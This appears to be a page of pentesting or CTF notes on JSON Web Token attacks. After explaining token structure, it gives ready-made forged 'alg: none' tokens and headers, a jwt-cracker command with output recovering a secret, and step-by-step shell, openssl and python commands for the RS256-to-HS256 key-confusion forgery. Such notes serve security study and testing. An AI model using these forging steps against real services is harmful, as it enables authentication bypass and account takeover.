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<div class="column column-3">
<ul>
<li><a href="#json-web-token">JSON Web Token</a><ul>
<li><a href="#build-up">Build up</a></li>
<li><a href="#none-algorithm-vulnerability">NONE Algorithm Vulnerability</a></li>
<li><a href="#brute-force">Brute Force</a></li>
<li><a href="#hs256-vulnerability">HS256 Vulnerability</a><ul>
<li><a href="#build-up_1">Build Up</a></li>
</ul>
</li>
<li><a href="#tools">Tools</a></li>
</ul>
</li>
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<h1 id="json-web-token">JSON Web Token</h1>
<h2 id="build-up">Build up</h2>
<div class="codehilite"><pre><span></span><code>header.payload.signature
</code></pre></div>
<ol>
<li><strong>Header</strong>: This consists of the algorithm used and the type of the token.</li>
</ol>
<div class="codehilite"><pre><span></span><code><span class="o">{</span> <span class="s2">&quot;alg&quot;</span>: <span class="s2">&quot;HS256&quot;</span>, <span class="s2">&quot;typ&quot;</span>: <span class="s2">&quot;JWT&quot;</span><span class="o">}</span>
</code></pre></div>
<ol>
<li>
<p><strong>Payload</strong>: This is part that contains the access given to the certain user etc. This can vary from website to website, some can just have a simple username and some ID and others could have a lot of other details.</p>
</li>
<li>
<p><strong>Signature</strong>: This is the part that is used to make sure that the integrity of the data was maintained while transferring it from a user's computer to the server and back. This is encrypted with whatever algorithm or alg that was passed in the header's value. And this can only be decrypted with a predefined secret(which should be difficult to)</p>
</li>
</ol>
<h2 id="none-algorithm-vulnerability">NONE Algorithm Vulnerability</h2>
<ul>
<li>Example with <code>alg: NONE</code>, so no third part is needed.</li>
</ul>
<div class="codehilite"><pre><span></span><code>eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K.eyJleHAiOjE1ODY3MDUyOTUsImlhdCI6MTU4NjcwNDk5NSwibmJmIjoxNTg2NzA0OTk1LCJpZGVudGl0eSI6MH0K.
</code></pre></div>
<ul>
<li>Encoded headers are as follows<ul>
<li><code>{"type": "JWT", "alg": "none"}</code>
<code>eyJ0eXAiOiJKV1QiLCJhbGciOiJub25lIn0</code></li>
<li><code>{"typ":"JWT","alg":"NONE"}</code> with trailing <code>\n</code>
<code>eyJ0eXAiOiJKV1QiLCJhbGciOiJOT05FIn0K</code></li>
</ul>
</li>
</ul>
<h2 id="brute-force">Brute Force</h2>
<div class="codehilite"><pre><span></span><code><span class="n">HMACSHA256</span><span class="p">(</span> <span class="n">base64UrlEncode</span><span class="p">(</span><span class="n">header</span><span class="p">)</span> <span class="o">+</span> <span class="s2">&quot;.&quot;</span> <span class="o">+</span> <span class="n">base64UrlEncode</span><span class="p">(</span><span class="n">payload</span><span class="p">),</span> <span class="n">secret</span><span class="p">)</span>
</code></pre></div>
<ul>
<li><a href="https://github.com/lmammino/jwt-cracker.git">jwt-cracker</a></li>
</ul>
<p>|Parameter|Details|
|---------|-------|
|Token | The HS256 JWT Token|
|Alphabet |Alphabet used to crack (default:"abcdefghijklmnopqrstuvwxyz")|
|max-length|Secret max length (default: 12)|</p>
<div class="codehilite"><pre><span></span><code><span class="o">[</span>whackx@manbox jwt-cracker<span class="o">]</span>$ node index.js eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.it4Lj1WEPkrhRo9a2-XHMGtYburgHbdS5s7Iuc1YKOE abcdefghijklmnopqrstuvwxyz <span class="m">4</span>
Attempts: <span class="m">100000</span>
Attempts: <span class="m">200000</span>
Attempts: <span class="m">300000</span>
SECRET FOUND: pass
Time taken <span class="o">(</span>sec<span class="o">)</span>: <span class="m">11</span>.605
Attempts: <span class="m">346830</span>
</code></pre></div>
<h2 id="hs256-vulnerability">HS256 Vulnerability</h2>
<p>It is calculated by using server <code>K_pub</code>, which may be gained via content of the server cert</p>
<h3 id="build-up_1">Build Up</h3>
<ul>
<li>Changing the header to <code>{"typ": "JWT", "alg": "HS256"}</code>, spaces inbetween values.</li>
</ul>
<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> -n <span class="s1">&#39;{&quot;typ&quot;: &quot;JWT&quot;, &quot;alg&quot;: &quot;HS256&quot;}&#39;</span> <span class="p">|</span> base64
eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9
</code></pre></div>
<ul>
<li>Encoding the payload, no spaces inbetween. Cut <code>==</code> at the end.</li>
</ul>
<div class="codehilite"><pre><span></span><code><span class="nb">echo</span> -n <span class="s1">&#39;{&quot;iss&quot;:&quot;http://localhost&quot;,&quot;iat&quot;:1585323784,&quot;exp&quot;:1585323904,&quot;data&quot;:{&quot;hello&quot;:&quot;world&quot;}}&#39;</span> <span class="p">|</span> base64
<span class="nv">eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ</span><span class="o">==</span>
</code></pre></div>
<ul>
<li>Crafting the HMAC signature<ul>
<li>Convert <code>K_pub</code> file to hex
<code>sh
cat id_rsa.pub | xxd -p | tr -d "\\n"</code></li>
<li>Sign the message to get the signature as hex value
<code>sh
echo -n "eyJ0eXAiOiAiSldUIiwgImFsZyI6ICJIUzI1NiJ9.eyJpc3MiOiJodHRwOi8vbG9jYWxob3N0IiwiaWF0IjoxNTg1MzIzNzg0LCJleHAiOjE1ODUzMjM5MDQsImRhdGEiOnsiaGVsbG8iOiJ3b3JsZCJ9fQ" | openssl dgst -sha256 -mac HMAC -macopt hexkey &lt;converted_public_hex&gt;</code></li>
<li>Decode hex to binary data and reencode as base64 via python
<code>python
python -c "exec(\"import base64, binascii\nprint base64.urlsafe_b64encode(binascii.a2b_hex('&lt;signature_as_hexval&gt;')).replace('=','')\")"</code></li>
</ul>
</li>
</ul>
<h2 id="tools">Tools</h2>
<ul>
<li><a href="https://github.com/ticarpi/jwt_tool.git">JWTtool</a></li>
<li><a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/JSON%20Web%20Token">PayloadAllTheThings</a></li>
<li>https://jwt.io</li>
</ul>
</span>
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